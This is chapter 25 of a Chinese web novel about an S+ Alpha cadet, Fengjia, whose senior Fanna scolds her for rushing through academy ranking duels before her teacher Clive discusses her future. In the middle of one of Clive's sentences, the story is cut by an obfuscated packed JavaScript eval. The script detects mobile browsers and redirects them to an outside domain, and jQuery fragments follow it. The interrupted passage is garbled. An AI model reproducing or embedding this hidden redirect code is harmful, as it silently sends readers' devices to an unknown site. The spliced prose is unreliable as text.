第二十五章


    “大一新生里居然只有42个S级？”风迦挺惊讶这个人数的，太少了，按照这个比例，全校近万人的学生里，S级才占据里面的不到2%。


    凡纳寻了个离风迦近一点的位置坐下，“S级又不是大白菜，肯定不会遍地都是。”


    风迦浏览着第37号文件，在所有S级Alpha里只有她给自己下过挑战书，其余的S级好像对她并不感兴趣。


    视频里的女A身手很是灵活，看场景应该是在副本里，她挥舞着她的长剑与体型庞大的Boss打得有来有回。


    风迦瞧了眼备注：泽尼亚-达菲，这是去年全国中学模拟联赛半决赛的回放记录，看了一会儿，反应过来这个副本自己好像进过，里面很多场景和Boss形态都很眼熟，可全国联赛的副本是多人副本，风迦想了想，怪不得许多细节和Boss招式都对不上号，估计自己进的时候被改成单人副本了吧。


    见凡纳凑过来也看了一会儿，风迦突然起意问道：“师兄觉得我和她比谁厉害？”


    “素材不足，无法比较。”凡纳又坐回沙发里，“现在网上能搜索到关于你的战斗视频只有校榜挑战赛的那一丁点，你自己也知道，最长的一部视频才5分26秒，而最短的不过7秒。”


    “我可以把这个说法理解成我也挺棒的意思吗？”风迦眼睛一亮。


    “不。”凡纳摇头，“我的意思是……你错付了你老师们的本意。”


    风迦歪头，“怎么说？”


    “如果只是让你拿排位名次，你在第一天就能对上这个泽尼亚，而他们选择让你从尾巴开始爬升，目的难道不是让你练手吗？”


    风迦把肩膀塌下去，一手撑着下巴继续听他说。


    凡纳道：“现在你的排名刚过三百，之前的挑战赛你是能结束多快就结束多快，你在里面学到什么了？就算是A级那也是帝国尖端的一部分人群了，他们身上同样承载着历年苦行的痕迹，而你呢？是不是还在想他们怎么这么弱，没用力就能把他们全干趴下，自己简直天赋异禀？天天逛学校逛出花来了吗？”


    其实凡纳此时的语气已经有些严厉了，字里行间带着恨铁不成钢的意味，但显然风迦的重点没放在那上面。


    “你怎么知道我逛学校？”我逛学校的时候你不是在上课？风迦心里全是被抓包后的紧张，跟每次闯祸之后被父亲问责时的心理一模一样。


    凡纳拧眉，突然提高嗓音，“我是在指责你逛学校吗？”


    风迦在沙发里调整了个舒服的坐姿，回答道：“可是我每一次挑战赛都很认真，没有什么玩玩儿的心态，那些被我秒掉的同学又不是我故意让他们丢脸，我用尽全力去对战难道还要考虑他们的自尊心吗？”


    这些话听起来是那么狂妄，但风迦脸上的表情却是平和的，不带有一丝一毫的傲慢之气。


    精神力的越级碾压让那些A级在风迦这里连练手的资格都没有，如果没有S+的存在，他们也算是一人之下的天纵之才，进了全国最好的军校，以后去军区打磨两年获得军功，然后在系统里挑选属于自己的Omega，从此日子过得浪漫又舒心。


    可如今时代变了，时代在前进，S+让他们往下退了一大步，以后的万里前程也会退一大步，他们从前待在自己的小圈里以为自己是绝世英才，到了帝国军校被S级教做人之后发现自己其实是庸才，而现在有个叫风迦-戴维斯的Alpha说自己是S+，然后一路踩着他们的头去往更高昂的人生，最终发现自己不过是根废柴。


    S+要踩他们的头也不是有意的，她只是没看见脚底下的泥。


    或许他们已经意识到有些人生来就在峰顶，她现在还没站上去，只是因为脚边尚有风雪或被一只绚烂的蝴蝶牵绊住了步伐。


    凡纳是个D级，按理说他该是一根连烧火的资格都没有的废柴，但架不住人家四肢简单，头脑发达，他18岁构建的三光网域如今已覆盖全国，他还完善了全息副本、构建信息蜂巢使参议院更好的掌控了全球情报，并且让量子通信与计算完全成熟，年纪轻轻就把帝国前进的车轮又给提速了。


    看老师们对他的态度就知道，对风迦那是百般嫌弃，但对凡纳，那可是还没毕业就抢着要，所以现在他训起S+来也丝毫不在话下。


    “风迦。”凡纳淡淡地叫了声她的名字，而后抬眸与她对视，“副本的世界里没有思维，他们的运行方式不过是经年战斗数据的糅杂，他们当然很强，但是他们没办法像活人一样思考，而你今后的每一场战斗都将是鲜血淋漓的疆场。我并不是要指责你没有在挑战赛里手下留情，而是你的态度，你这些天的行为告诉我，你只不过是在完成任务。”


    “我当然是在完成任务，这任务不是你们给我接的吗？”风迦同样直视他的双眼，“反正最后我会达到目的的，至于过程如何，那不重要。”


    “你从分化到现在，接受的训练不过才两三个月。”凡纳沉声说，“还是别太傲慢。”


    风迦失笑，“你们还挺奇怪，每次我说我做不到的时候老是给我灌鸡汤，说什么我是S+，做什么都轻而易举，如果做不到那都是我不够努力，心思没放在这上面，可现在我都说我绝对能做到，你们却嫌弃过程不够称心。说实话，我其实没必要让你们满意。”


    也不知道是怎么回事，凡纳此时被风迦看着，愣是半句话都说不出来，他像是被话里轻微的怒气摄住，喉咙发哽，但听语气，明明并不强硬。


    下一刻，风迦重新把笑容挂在脸上，站起身来，“好了，别说这些影响人心情的话。”她摇摇手腕，指着手环对他说道：“谢谢师兄的资料，我回去定会好好看一遍。”说完朝窗边的克莱夫点点头，“走了，老师。”便向楼下走去。


    克莱夫此时好似完全忘了刚才的不愉快，对风迦说道：“嗯，下午的挑战赛也要努力


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478949|183280||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊，有机会再叫你吃饭。”


    风迦霎时顿住了脚，侧头说道：“如果是在食堂我就去，其他的还是算了吧。”


    “……哈。”克莱夫语气失落，“好吧。”


    没一会儿他就透过玻璃看见风迦开着小豆丁走远了，二楼现在就他和凡纳两人，突然感叹道：“哎，我这学生真棒！”


    凡纳皱眉看他，“你旧伤是不是又犯了。”


    “你不觉得吗？风迦简直棒极了。”


    “她如此随心所欲，以后有你们头疼的时候。”


    克莱夫走过来，在刚才风迦的位置坐下，“我就乐意看见这种孩子，越想雕琢她却越难被雕琢，你看她明明在走我们铺好的路，可好像每一刻都有种随时会脱轨的感觉。”


    “希望只是错觉。”


    “这可说不定。”


    “真到那一天，你又该怎么交代？”


    “交代什么？”


    凡纳的眼底映出些许幽暗的微光，“你知道我指的是什么。”


    克莱夫将刚才风迦动过的照片拿起来摆回原处，他今天穿了件深色毛衣，质感上乘，可惜后背下角开了线，线头拉长悬挂在身后，站起来的时候还被什么挂了一下，线头越来越长，他也不在意，狡黠地朝凡纳笑道：“这你可猜错咯，我身上可没什么大任务。”


    凡纳看不下去，他怎么总是有那么多的破衣服，起身走过去将线头扯断，“那你对你这学生就没什么期待？”


    “当然有。”克莱夫忽略凡纳脸上嫌弃的表情任他动作，“我的三级正教还要靠她呢，要是风迦再努把力让我成为终身荣誉教授也不是不敢想啊。”


    凡纳鄙夷，“那你准备怎么培养她。”


    “当然是什么也不用插手任其发展，我说过她棒极了！”


    凡纳没接话，把手里的线头团成一团，吐出一口气转身走向房间。


    克莱夫看着他的背影，出声叫住他，“凡纳。”


    停住脚步。


    克莱夫的话在背后响起，“我劝你也别管太多，也不用做任何形式上的教导，她的路在她分化完成那一刻就已经规划好了，我们只是在她前进路上陪她喝酒解闷的人。或许……也会在必要时给她解决点小问题，但一切仅此而已。威尔伯的心思或许无害但绝不干净，你不要听他的话。”


    凡纳听完克莱夫的话回头深深看了一眼，午后的雪天光线并不明朗，二楼此时稀疏的光线居然让站在逆光中的老师显得那么高大挺拔，一点也不像平时不修边幅的模样，他在年龄上属实已经算不得年轻，但他偶尔也能在某些时候看到照片上那位军官的影子，他们互相重叠，可惜时光不再。


    凡纳没去深究他到底知道多少校长对他说的话，轻轻嗯了一声，关上了房门。


    克莱夫也无所谓凡纳听进去多少，他把自己的照片拿在光线下看了又看，自言自语说道：“什么眼神，这么像居然看不出来。”